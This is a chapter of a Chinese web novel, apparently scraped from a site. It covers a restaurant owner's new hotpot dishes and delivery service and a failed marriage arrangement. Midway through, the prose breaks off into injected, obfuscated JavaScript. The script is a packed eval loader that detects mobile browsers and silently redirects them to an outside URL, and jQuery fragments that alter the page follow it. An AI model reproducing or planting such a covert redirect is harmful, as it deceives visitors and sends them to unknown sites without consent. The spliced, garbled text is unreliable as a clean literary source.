沈芙蕖披着陆却的斗篷从大理寺出来的情形，很快便被陆夫人安插在附近的眼线瞧见，一字不落地报回了陆府。


    陆夫人闻讯，顿时心急如焚，遣人再度前往崔家，言语间更显急切，只盼能尽快将两家的亲事敲定下来。


    然而，此番崔家给出的回复却变得模棱两可，再不复先前那般热络。只推说“婉如年纪尚小，还想多留些时日陪伴父母”云云。


    陆夫人一听，当即气得摔了茶盏：“什么叫年纪还小？！这分明是推托之词！难道我儿还配不上她一个崔家女不成！”


    在她看来，陆却相貌堂堂，年少有为，身居大理寺要职，是汴京城里多少待嫁娘子梦寐以求的佳婿，合该被争抢才是。


    可这几年来，自她开始张罗儿子的亲事起，才发觉，现实远非她所想。陆却的行情，似乎并不如她预期中那般火热……


    正如崔彬规劝崔婉如时说的话：“陆却其人，相貌、家世、才干，样样皆是上上之选。然则，挑选夫婿并非遴选人才，光看这些有什么用？终究要寻一个心意相通的。”


    “你且细想，上次陆府梅宴，他可曾主动与你说过话？目光在你身上停留过几次？若他当真对你有意，怎会至今毫无表示？连母亲前番寿辰，也未见他有半分问候之意传来。”


    嫂嫂郑氏觉得丈夫话说得太过直白，恐伤了姑娘家的颜面，便在一旁温言补充：“大理寺公务繁剧，陆大人一年到头，没有几日得闲归家。小妹若嫁过去，便是陆府的当家主母，一应大小事务皆需你劳心劳力，他怎会有时间与你吟风弄月……”


    连崔婉如的母亲也道：“婉儿，你那未来的婆母，可是易与之辈？听娘一句劝，莫要嫁入那孤儿寡母相依为命之家。这等婆母，往往将儿子视作眼珠性命，断容不得旁人分去半分注意，最是难相处！你自小被家中娇养，何曾受过这等委屈？万万要想清楚。”


    崔婉如虽是个有主见的，但家人这番话句句在理，更是点醒了她心中隐忧。


    于是，这门原本被陆夫人寄予厚望的亲事，便在崔家的缄默与权衡中，悄无声息地没了下文。


    陆夫人百思不得其解，为何崔家对这门亲事的态度前后变化如此之大。


    经陆惠善在一旁提醒，她才意识到，崔家的疏远正是从自家那场梅宴之后开始的。这笔账，她自然而然记在了沈芙蕖头上。


    沈芙蕖将那件斗篷带回芙蓉盏后，心中始终记挂着清洗之事。


    于是特意请了云锦记绸缎庄的老师傅前来辨识料子，也好讨个专业的清洗法子。


    老师傅仔细检视了一番，沈芙蕖才知道这外层面料是上好的织锦，寻常风雨侵不透。里衬用的是素软绸，内里填充的是顶级的蚕丝絮，毛领是貂皮。


    老师傅建议：“斗篷看着洁净，实在不必大动干戈地拆洗。尤其是这貂皮毛领，万万沾不得水。若只想除尘去味，不妨等下一场雪时，取干净的新雪，在表面擦拭几遍。雪能吸附灰尘，散去杂味，不会伤及料子根本。”


    沈芙蕖听罢，心下稍安。如此看来，倒省了许多麻烦。她便真将那斗篷小心收好，静待汴京城的下一场落雪。


    还没等到下雪，沈芙蕖有些惆怅起来，还完了欠款，手上结余便不多了。再加上关了卤菜摊，铺子的进项肉眼可见地减少了三分之一。


    沈芙蕖面上不显，心里却如汤沸般，眼看着过年了，店里每一位伙计都眼巴巴等着她再发一笔赏钱。于是，她将全部心力投入了新菜品的研创上。


    除了镇店的羊肉汤锅，她决意再推出两款风味迥异的新锅子，一为酸汤锅，二为菌菇锅。


    酸汤锅其魂在于酸。沈芙蕖取江南糯米，熬成稠粥，置于陶缸中，加入从西南买的酸浆引子，密封置于灶台余温处，静待其自然发酵三五日，待其渗出滋味醇厚的米酸汤，此乃汤底酸味之源。


    取此酸汤为底，注入现熬的鸡骨猪骨汤中。再加入捣成泥的茱萸酱提供霸道的辛辣，姜片、蒜瓣爆香提味，最后撒入一大把黄豆芽增添鲜甜。熬煮片刻，一锅金红的酸汤锅底便成了。


    每份酸汤锅都有搭配好的配菜，鲤鱼片、羊肉片、豆腐泡、菘菜、笋片，若是想吃得更酸，还有腌好的酸菜。这一套比羊肉汤锅便宜，想吃别的配菜也可以单点。


    菌菇锅的根本在于鲜。沈芙蕖不惜成本，大量购入上等干香蕈、干木耳等原料。


    将各类干菌仔细清洗后，用温水泡发，泡发后的菌菇水滤净杂质继续使用，这是令汤底鲜味的精华，绝不浪费。


    将泡发的菌菇与冬笋片、黄花菜若干，黄豆芽一把、红枣三五颗一同放入清水锅中，只加少许盐，绝不添加任何荤腥，以文火慢炖至少两个时辰，直至将所有山野的精华都熬入汤中。


    得到的是一锅鲜香逼人的纯素菌菇高汤，吃的是一个纯粹自然的本味。


    另外菌汤锅底还有升级版，那便是加入从蜀地运来的竹荪，此锅价格昂贵，但口感脆嫩爽滑，极其鲜美。


    菌菇锅的配菜是鸡肉片、猪肚片，另有海带苗、鲜豆腐、豆腐皮、面筋、嫩菜心。


    两款新锅一经推出，立刻以独特的风味吸引了众多食客。尤其是酸汤锅，酸辣酣畅的滋味，在湿冷的汴京冬天里，成了许多人念念不忘的存在。


    沈芙蕖发现，食客们酣畅淋漓地吃至锅底见空，常觉意犹未尽。


    此时，许多人便会自然而然地招呼伙计，从楼下面条档口另买一份现制的鲜切面，就着锅中那汇聚了百物精华的浓郁残汤，略一滚煮，便吸饱了滋味，吃得心满意足。


    沈芙蕖索性将主食也纳入了锅物套餐之中。每位点锅的客人，皆可在鲜面条与粉丝之中任选其一，作为汤锅的收笔。


    如此一来，芙蓉盏店内本就有限的座位顿时变得捉襟见肘，二楼雅座早已预订一空。


    后来者见无空位，竟也毫不介意，索性搬张板凳，就挤在吃面条的客人旁边，支起小锅，吃得满头大汗，不亦乐乎。


    再到后来，连店堂里也挤不下时，便有那不拘小节的食客，见院中开阔，便劳烦伙计搬张小桌到院里。


    于是，芙蓉盏的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16376630|179799||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    院子里，竟也三三两两摆开了几张方桌。虽是天寒地冻，但锅中腾起的滚滚热气与众人喧闹的笑语声交织在一起，衬得这小院格外温暖热闹。


    生意虽好，但难题又至。天寒地冻，许多富足人家，或是家有老人幼儿的顾客，愈发不愿顶风冒雪出门用餐。


    沈芙蕖在招待客人时，说道：“若您家用着锅子好，又不想挪步，只需将想吃的锅子种类，要加的配菜写个条子，放入回家路上任意一个灯台下的木盒中。敝店伙计自会按图索骥，提着生鲜食材与烧好的锅底，上门为您现场整治，包管和店里吃着一个味。”


    此举一出，立刻在汴京城中引起轰动。这简直是前所未有的便利，那些灯台下的木盒，顿时变成了实实在在的订单箱。


    芙蓉盏的伙计们提着食盒，穿梭于大雪纷飞的汴京街巷。


    芙蓉盏的汤锅生意因这送锅上门的服务而更加火爆，甚至吸引了许多原本并非芙蓉盏常客的深宅大户。


    大双揉着酸痛的胳膊，向沈芙蕖叫苦不迭：“掌柜的，掌柜的！人手实在周转不开了！年后再不招些新人，咱们这几个老伙计可真要累趴下了！”


    小双心思更活络些。他们按单抽取小费，自是盼着活儿越多越好。


    于是私下里将一些路途遥远的订单，偷偷转包给了相熟的其他脚夫，自己从中赚个差价。这等自作主张的事，他是不敢让沈芙蕖知晓的。


    眼见生意火爆如此，铺面狭小已成掣肘。


    沈芙蕖便与张澈商议着年后的扩张之计。她心中有两个设想。


    要么是索性租一个比现下芙蓉盏更大更敞亮的铺面。


    要么，则是将紧邻芙蓉盏的铺子也盘下来，两店连为一体。


    沈芙蕖内心自是更倾向第二个方案。搬家重整，兴师动众又耗神耗财。只是这邻铺是一家新开不久的香饮子铺，生意瞧着也不差，人家岂能说搬就搬？岂肯轻易转让？


    张澈领了意思便去办事。他沿着草市坊及周遭街巷打探了一圈，将几处可能出租、位置尚可的铺面都记了下来，心中默默列出了几个备选的方案，回来一一禀明了沈芙蕖。


    沈芙蕖听罢，未立即决断，只默默取来账本，在扉页空白处记下了几个关键词：年后、招工、新铺。


    再数一数，还有半个月，真的就过年了。


    新锅子卖得正好时，市井间开始流传起一些风言风语，无外乎是说沈芙蕖曾在陆府宴席上做了一道发臭的菜，险些酿成大祸，陆夫人宽宏大量，才给了她台阶下云云。


    几日之后，芙蓉盏一楼面馆菜单上，又多了一道新的浇头——徽州臭鳜鱼浇头。


    沈芙蕖在大红纸写了说明贴在墙上：“本店新推徽州古法腌鳜鱼浇头，风味独特，闻之微异，食之鲜醇，乃徽州一绝。好此味者，谓之香，不好者，谓之臭。客官可敢一试？”


    这道浇头立刻又成了话题，猎奇者纷至沓来。


    沈芙蕖趁机和与张记鱼行的掌柜熟络起来，言明日后所需臭鳜鱼，皆从张记采购，张掌柜自然乐得答应。